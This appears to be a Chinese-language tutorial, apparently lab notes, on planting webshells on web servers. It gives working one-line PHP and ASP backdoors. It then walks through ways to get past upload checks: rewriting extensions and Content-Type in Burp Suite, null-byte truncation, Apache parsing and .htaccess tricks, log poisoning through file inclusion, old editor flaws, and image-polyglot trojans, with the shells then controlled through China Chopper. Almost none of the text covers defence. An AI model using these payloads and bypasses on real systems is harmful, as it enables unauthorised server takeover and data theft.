1. 程式人生 > >webshell上傳技術

webshell上傳技術

中國菜刀連線一句話木馬
1.上傳一句話木馬,記錄木馬地址:http://192.168.1.3:8080/up/images/lubr.php
2.菜刀連線
進入中國菜刀目錄,點選chopper.exe
右鍵點選新增,在位址列中新增上傳檔案路徑,右側新增密碼lubr, 指令碼型別為PHP
右鍵點選檔案管理,檢視目標伺服器的完整目錄,進行建立檔案,修改檔案,上傳下載等操作
一句話木馬
asp的一句話是:<%eval request("lubr")%>
php的一句話是:<?php @eval($_POST['lubr']);?>
繞過檔案上傳檢查功能
繞過前臺指令碼檢測副檔名上傳webshell
客戶端指令碼檢測副檔名:當用戶在客戶端選擇檔案點選上傳時,客戶端還沒有向伺服器傳送任何訊息,就對本地檔案進行檢測來判斷是否是可以上傳的型別(本地過濾)
一、開啟代理,啟動Burpsuite
1.開啟火狐瀏覽器,點選工具-選項-高階-網路-設定,手動配置代理,ip地址設為127.0.0.1,埠號設為8081
2.開啟burpsuite, 點選proxy下的options選項, 點選edit選擇設定代理埠為8081
二、繞過驗證
在burpsuite中開啟抓包,將intercept it off切換為intercept is on狀態
在火狐瀏覽器中輸入目標檔案上傳地址,將木馬檔案1.php的字尾名.php改為.jpg, 點選上傳
在burpsuite中會抓到攔截的資料包,點選raw,將資料包檔案字尾名filename="1.jpg"改回filename="1.php",點選forward, 傳遞資料包
三、連結木馬
在瀏覽器中輸入木馬的完整地址:http://目標地址/uploads/1.php
開啟中國菜刀,右鍵新增木馬的地址和密碼,選擇指令碼型別,點選新增
繞過Content-Type檢測檔案型別上傳webshell
白名單過濾:當瀏覽器在上傳檔案到伺服器的時候,伺服器會對上傳檔案的Content-Type型別進行檢測,如果是白名單允許的,則可以正常上傳,否則上傳失敗
一、開啟代理,啟動Burpsuite
1.開啟火狐瀏覽器,點選工具-選項-高階-網路-設定,手動配置代理,ip地址設為127.0.0.1,埠號設為8081
2.開啟burpsuite, 點選proxy下的options選項, 點選edit選擇設定代理埠為8081
二、繞過驗證
在burpsuite中開啟抓包,將intercept it off切換為intercept is on狀態
在火狐瀏覽器中輸入目標檔案上傳地址,選擇木馬檔案1.php, 檔案字尾名為.php, 點選上傳
在burpsuite中會抓到攔截的資料包,點選raw,將資料包檔案的Content-Type由application/octet-stream改為image/gif,點選forward, 傳遞資料包
三、連結木馬
在瀏覽器中輸入木馬的完整地址:http://目標地址/uploads/1.php
開啟中國菜刀,右鍵新增木馬的地址和密碼,選擇指令碼型別,點選新增
繞過伺服器端副檔名檢測上傳webshell
服務端過濾:當瀏覽器將檔案提交到伺服器端的時候,伺服器端會根據設定的黑白名單對瀏覽器提交的副檔名進行檢測,如果上傳的副檔名不符合黑白名單的限制,則不予上傳
一、繞過驗證上傳
在火狐瀏覽器中輸入目標檔案上傳地址,將木馬檔名lubr.php改為lubr.php.abc, 點選上傳
二、連結木馬
開啟中國菜刀,右鍵新增木馬的地址和密碼,選擇指令碼型別,點選新增
實驗原理:將木馬檔名1.php改成1.php.abc,伺服器驗證副檔名的時候驗證的是.abc。當瀏覽器端訪問該檔案時,Apache解析不了.abc副檔名,會向前尋找可解析的副檔名。(伺服器解析漏洞)
黑白名單過濾缺點:限制的副檔名不夠齊全,上傳檔案格式不可預測性導致可能會有漏網之魚。另外,驗證副檔名的方式存在問題:例如1.php%00.jpg,驗證副檔名時拿到的副檔名為.jpg,寫入的時候被%00截斷,最終寫入檔案1.php
利用00截斷上傳webshell
利用00截斷就是利用程式設計師在寫程式時對檔案的上傳路徑過濾不嚴格,產生0x00上傳截斷漏洞
一、開啟代理,啟動Burpsuite
1.開啟火狐瀏覽器,點選工具-選項-高階-網路-設定,手動配置代理,ip地址設為127.0.0.1,埠號設為8081
2.開啟burpsuite, 點選proxy下的options,點選edit選擇設定代理埠為8081
二、繞過驗證
在火狐瀏覽器地址中輸入目標檔案上傳檔案地址
將intercept it off切換成intercept it on,burpsuite開始抓包
將木馬檔案1.php的字尾名.php改為.php.jpg,點選上傳
在burpsuite中會截獲資料包,點選hex,找到1.php.jpg對應的十六進位制原始碼,將1.php後.對應的2e改為00,點選forward,上傳檔案
三、連結木馬
在瀏覽器中輸入木馬的完整地址:http://目標地址/images/1.php
開啟中國菜刀,右鍵新增木馬的地址和密碼,選擇指令碼型別,點選新增
%00或0x00繞過了應用的上傳檔案型別(副檔名驗證)的判斷,但伺服器端會因為0x00字元截斷後面的內容,最終寫入檔案變成1.php。00截斷的另一種方式:1.php%00.jpg
Apache漏洞上傳webshell

apache解析漏洞上傳webshell
將上傳的木馬檔案字尾名.php改為.php.abc
利用apache的解析漏洞用菜刀連線副檔名為.abc的檔案
填寫木馬密碼和選擇指令碼型別,獲得網站的一個webshell
通過apache日誌獲得webshell
測試檔案包含,在URL中提交GET引數【?ajest=test.php】
向目標站點提交錯誤資訊,Apache會將錯誤資訊寫入日誌
通過本地檔案包含漏洞,包含apache日誌,即可獲得一句話webshell
利用.htaccess檔案攻擊上傳webshell
1.開啟檔案上傳路徑,上傳,htaccess檔案
2.將木馬檔案lubr.php字尾名改為.cimer,點選上傳
3.記錄木馬檔案的儲存路徑
4.開啟中國菜刀,新增木馬檔案連結,密碼和指令碼型別
5.雙擊記錄,即可看到管理網站目錄
網頁編輯器漏洞上傳webshell

Fckeditor漏洞上傳webshell
Fckeditor為線上網友編輯器,2.4.2以下版本存在一個直接上傳任意檔案的上傳頁面
將木馬檔案2.asp改為2.aps.jpg,上傳檔案
burpsuite攔截上傳資料包,將資料包hex中的2e改為00
EWebEditor漏洞上傳webshell
1.開啟目標網站檔案上傳頁面,上傳木馬檔案1.cer
2.檢視上傳木馬檔案的路徑,即開啟網頁原始碼:<img border=0 src='/uploadfile/2015145355.cer'>
3.在位址列中鍵入完整路徑,即可訪問木馬檔案,輸入密碼進入Webshell
構造PHP圖片木馬,繞過檔案內容檢測上傳webshell

一般檔案內容驗證使用getimagesize()函式檢測,會判斷檔案是否是一個有效的檔案圖片,如果是,則允許上傳,否則不允許上傳
一、上傳PHP木馬
1.在火狐瀏覽器中輸入目標檔案上傳地址,將木馬檔案1.php字尾名.php改為.php.jpg上傳。
2.會提示錯誤資訊:此檔案不允許上傳,伺服器對上傳檔案內容進行了檢測。
二、製作圖片木馬
1.隨便找一個圖片,與所有上傳的木馬檔案放置同一資料夾中。
2.開啟cmd,進入木馬資料夾
3.將lubr.php插入到pic.jpg中,輸出PicLubr。jpg:copy pic.jpg/b+lubr.php/a PicLubr.jpg
三、上傳木馬
1.將上傳檔名PicLubr.jpg給我PicLubr.jpg.php
2.在瀏覽器中輸入木馬的完整地址:http://目標地址/路徑/uploads/PicLubr.jpg.php,訪問木馬檔案。
四、連結木馬
1.開啟中國菜刀,右鍵點選新增木馬的地址和木馬lubr,選擇指令碼型別,點選新增。
2.雙擊新增的記錄,即可檢視目標網站的完整目錄。
檔案內容檢測繞過另一種方式:檔案頭繞過